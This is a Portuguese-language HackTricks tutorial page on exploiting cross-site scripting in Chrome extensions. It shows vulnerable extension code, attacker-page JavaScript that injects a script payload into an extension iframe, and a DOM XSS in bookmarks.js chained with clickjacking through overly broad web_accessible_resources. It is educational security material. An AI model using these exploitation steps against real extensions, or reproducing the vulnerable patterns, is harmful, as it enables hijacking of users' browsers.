7.2 KiB
BrowExt - Exemplo de XSS
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
XSS em Iframe
Content script cria um Iframe indicando uma URL nos parâmetros da fonte do iFrame:
chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});
Uma página html exposta: message.html
, acessível pelo navegador, contém um código como:
$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});
A página maliciosa executa um script como o seguinte para alterar a mensagem por um XSS payload:
setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;
// Remove existing query parameters
src = src.replace(/\?.*/, "");
// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
// Load into frame
frame.src = src;
}, 1000);
Uma Política de Segurança de Conteúdo permissiva como
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
permitirá a execução do código JS.
Outra forma de acionar o XSS quando desejar é executando:
let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);
XSS Baseado em DOM + ClickJacking
A primeira vulnerabilidade é a vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM em /html/bookmarks.html
, a seguir está o JavaScript vulnerável incluído em bookmarks.js
:
$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;
var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});
O JavaScript acima pega o valor da caixa de texto txtName
e usa concatenação de strings para construir HTML que é anexado ao DOM através da função “append()” do jQuery.
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome deveria impedir que essa vulnerabilidade fosse explorada. No entanto, devido ao afrouxamento dessa política via ‘unsafe-eval’ e ao uso das APIs DOM do jQuery, ainda foi possível explorar. Isso ocorre porque muitas das APIs DOM do jQuery fazem uso de “globalEval()”, que automaticamente passa scripts para “eval()” ao serem anexados ao DOM.
Embora essa seja uma vulnerabilidade grave, por si só a exploração é bastante limitada devido à interação do usuário necessária para explorá-la. A vítima teria que abrir a página, colar um payload de Cross-site Scripting (XSS) no campo e clicar no botão “Add” para explorá-la.
Para melhor armar essa vulnerabilidade, fazemos uso de uma vulnerabilidade separada (clickjacking) para reforçar o ataque.
A seguir, um trecho do manifesto da extensão do Chrome:
...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...
A seção acima demonstra que a extensão abrange um amplo espectro com sua política de web_accessible_resources
.
A página /html/bookmarks.html
também pode ser emoldurada e, portanto, explorada via clickjacking. Nós abusamos disso para emoldurar esta página em nossa página web e sobrepor o frame com elementos DOM para redirecionar o layout. Isso faz com que a vítima não perceba que está interagindo com a extensão abaixo. A animação a seguir demonstra esse efeito (confira a animação no artigo original).
Referências
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.